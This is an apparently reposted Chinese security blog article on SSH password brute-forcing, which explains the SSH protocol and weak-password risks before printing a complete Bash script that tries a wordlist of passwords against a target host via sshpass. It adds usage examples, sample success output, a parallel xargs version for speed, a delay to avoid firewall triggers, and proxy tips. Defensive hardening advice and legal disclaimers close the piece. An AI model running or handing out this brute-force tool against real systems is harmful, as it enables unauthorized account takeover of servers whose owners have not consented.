LinuxSSH密码爆破脚本,从原理到实践

admin 2026-04-02 04:06:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析SSH协议工作原理与常见安全漏洞,重点演示基于sshpass的SSH密码爆破脚本实现,涵盖参数解析、错误处理及核心爆破逻辑,并提供多线程优化、日志记录等改进方案。同时从防御角度给出强密码策略、fail2ban配置、修改默认端口等安全建议,强调仅限授权测试与教育用途的合规要求。 综合评分: 90 文章分类: 渗透测试,web安全,安全工具,安全建设,实战经验


cover_image

Linux SSH密码爆破脚本,从原理到实践

原创

钟智强 钟智强

哪吒网络安全

2026年3月31日 23:58 马来西亚

一、引言

SSH(Secure  Shell)是Linux/Unix系统中最为常用的远程管理协议,它通过加密方式保障了网络通信的安全性。然而,弱密码依然是SSH服务面临的主要威胁之一。本文将带你深入理解SSH的工作原理,分析常见的安全漏洞,并通过一个简单的Bash脚本演示如何利用sshpass进行密码字典测试,帮助安全人员评估SSH服务的安全性。

二、SSH工作原理

2.1 SSH协议组成

SSH协议主要包含三个层次:

  • 传输层协议:提供服务器认证、数据机密性和完整性保护
  • 用户认证协议:负责验证客户端用户的身份
  • 连接协议:将加密隧道复用为多个逻辑通道

2.2 SSH认证方式

SSH支持多种认证方式,最常见的有:

| 认证方式 | 特点 | | — | — | | 密码认证 | 最简单,但易受暴力破解攻击 | | 公钥认证 | 安全性高,推荐使用 | | 键盘交互认证 | 用于一次性密码等场景 |

2.3 SSH连接流程

  1. 客户端向服务器发起TCP连接(默认端口22)
  2. 双方协商加密算法和协议版本
  3. 服务器发送公钥给客户端
  4. 客户端验证服务器公钥(首次连接需确认指纹)
  5. 建立加密通道
  6. 进行用户认证(密码或密钥)
  7. 认证成功后分配Shell会话

三、SSH常见安全漏洞

3.1 弱密码漏洞

弱密码是SSH服务最主要的漏洞。常见弱密码包括:

  • 默认密码(如rootadmin
  • 简单数字组合(12345612345678
  • 常见单词(passwordadmin
  • 与用户名相同的密码

3.2 配置不当

  • 允许root直接登录
  • 未限制登录失败次数
  • 使用不安全的加密算法
  • 未启用公钥认证

3.3 版本漏洞

某些旧版本SSH存在已知漏洞,如:

  • CVE-2018-15473(用户枚举)
  • CVE-2016-6210(密码猜测)

四、SSH密码爆破脚本解析

4.1 脚本源码

#!/bin/bash
user=""ip=""source=""
while getopts "u:h:s:" opt; do    case $opt in        u) user="$OPTARG" ;;        h) ip="$OPTARG" ;;        s) source="$OPTARG" ;;        *) echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件" >&2           exit 1 ;;    esacdone
if [ -z "$user" ] || [ -z "$ip" ] || [ -z "$source" ]; then    echo "错误: 缺少必需的参数"    echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件"    exit 1fi
if [ ! -f "$source" ]; then    echo "错误: 密码字典文件 '$source' 不存在"    exit 1fi
attempt=0total=$(wc&nbsp;-l <&nbsp;"$source")
echo&nbsp;"目标:&nbsp;$user@$ip"echo&nbsp;"字典:&nbsp;$source&nbsp;($total&nbsp;个密码)"echo&nbsp;""
while&nbsp;IFS=&nbsp;read&nbsp;-r password;&nbsp;do&nbsp; &nbsp; [ -z&nbsp;"$password"&nbsp;] &&&nbsp;continue&nbsp; &nbsp; ((attempt++))
&nbsp; &nbsp;&nbsp;printf&nbsp;"[%d/%d] 测试: %s\n"&nbsp;"$attempt"&nbsp;"$total"&nbsp;"$password"
&nbsp; &nbsp;&nbsp;if&nbsp;sshpass -p&nbsp;"$password"&nbsp;ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no&nbsp;"$user@$ip"&nbsp;'exit'&nbsp;2>/dev/null;&nbsp;then&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"成功! 用户名:&nbsp;$user&nbsp;| 密码:&nbsp;$password"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit&nbsp;0&nbsp; &nbsp;&nbsp;fi
&nbsp; &nbsp;&nbsp;sleep&nbsp;1done&nbsp;<&nbsp;"$source"
echo&nbsp;"失败: 未找到有效密码"exit&nbsp;1

4.2 脚本功能详解

参数解析

  • -u:指定SSH用户名
  • -h:指定目标IP地址
  • -s:指定密码字典文件路径

错误处理

  • 检查三个必需参数是否提供
  • 检查密码字典文件是否存在

核心爆破逻辑

  • 使用wc -l统计密码总数

  • 逐行读取密码字典,跳过空行

  • 每次尝试后延迟1秒,避免触发防火墙防护

  • 使用sshpass携带密码进行SSH连接

  • SSH选项:

  • ConnectTimeout=5:连接超时5秒

  • StrictHostKeyChecking=no:跳过主机密钥确认

  • 'exit':连接成功后立即退出,减少资源占用

#

4.3 工具依赖

脚本依赖sshpass工具,它允许在命令行中直接传递密码。安装方法:

# Ubuntu/Debiansudo&nbsp;apt install sshpass# CentOS/RHELsudo&nbsp;yum install sshpass

五、脚本使用示例

5.1 准备密码字典

创建一个简单的密码字典文件passwords.txt

123456passwordadminroot12345678

5.2 运行脚本

chmod&nbsp;+x ssh_brute_force.sh./ssh_brute_force.sh -u root -h 192.168.1.100 -s passwords.txt

5.3 预期输出

目标: [email protected]字典: passwords.txt (5&nbsp;个密码)[1/5] 测试:&nbsp;123456[2/5] 测试: password[3/5] 测试: admin成功! 用户名: root | 密码: admin

六、脚本优化建议

6.1 多线程加速

使用xargs实现并发测试:

cat&nbsp;passwords.txt | xargs -P&nbsp;10&nbsp;-I {}&nbsp;sshpass&nbsp;-p {}&nbsp;ssh&nbsp;-o ConnectTimeout=5&nbsp;[email protected]&nbsp;'exit'&nbsp;2>/dev/null && echo&nbsp;"成功: {}"

6.2 添加日志记录

log_file="bruteforce_$(date +%Y%m%d_%H%M%S).log"echo&nbsp;"[$(date)] 开始测试&nbsp;$user@$ip"&nbsp;>>&nbsp;"$log_file"# 在成功时追加日志echo&nbsp;"[$(date)] 成功:&nbsp;$password"&nbsp;>>&nbsp;"$log_file"

6.3 支持代理和跳板机

通过-o ProxyCommand可以支持代理连接。

七、安全防御建议

对于SSH服务管理者,建议采取以下措施防御爆破攻击:

7.1 使用强密码或密钥认证

  • 密码长度至少12位,包含大小写字母、数字和特殊符号
  • 禁用密码认证,仅允许公钥认证

7.2 配置fail2ban

安装fail2ban并启用SSH防护:

sudo&nbsp;apt install fail2bansudo&nbsp;systemctl&nbsp;enable&nbsp;fail2ban

7.3 修改默认端口

编辑/etc/ssh/sshd_config,将Port 22改为其他端口。

7.4 限制登录失败次数

/etc/ssh/sshd_config中添加:

MaxAuthTries&nbsp;3MaxSessions&nbsp;2

7.5 禁用root登录

PermitRootLogin&nbsp;no

7.6 使用防火墙限制访问

# 仅允许特定IP访问SSHiptables -A&nbsp;INPUT&nbsp;-p&nbsp;tcp&nbsp;--dport&nbsp;22&nbsp;-s&nbsp;192.168.1.0/24&nbsp;-j ACCEPTiptables -A&nbsp;INPUT&nbsp;-p&nbsp;tcp&nbsp;--dport&nbsp;22&nbsp;-j DROP

八、伦理与法律责任

8.1 使用原则

  • 授权测试:仅对拥有明确授权的系统进行测试
  • 教育目的:用于学习和研究,不得用于非法攻击
  • 报告漏洞:发现漏洞后应负责任地报告

8.2 法律风险

未经授权的SSH爆破行为可能违反《网络安全法》等相关法律法规,最高可追究刑事责任。请务必遵守法律规定。

九、总结

本文从SSH协议原理出发,介绍了常见的安全漏洞,并提供了一个实用的SSH密码爆破脚本。通过该脚本,安全人员可以快速评估SSH服务的弱密码风险。同时,我们也强调了安全防御的重要性和合法合规的使用原则。

网络安全是一场持续的攻防博弈,只有理解攻击手法,才能更好地进行防御。希望本文能帮助读者提升安全意识,共同构建更安全的网络环境。


本文内容仅供技术交流,请勿用于非法用途。

#哪吒网络安全 #bash #ssh #bruteforce


欢迎加入我们的微信钉钉交流群,一起探讨漏洞研究、渗透测试与开源工具!

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:哪吒网络安全 钟智强 钟智强《Linux SSH密码爆破脚本,从原理到实践》

评论:0   参与:  0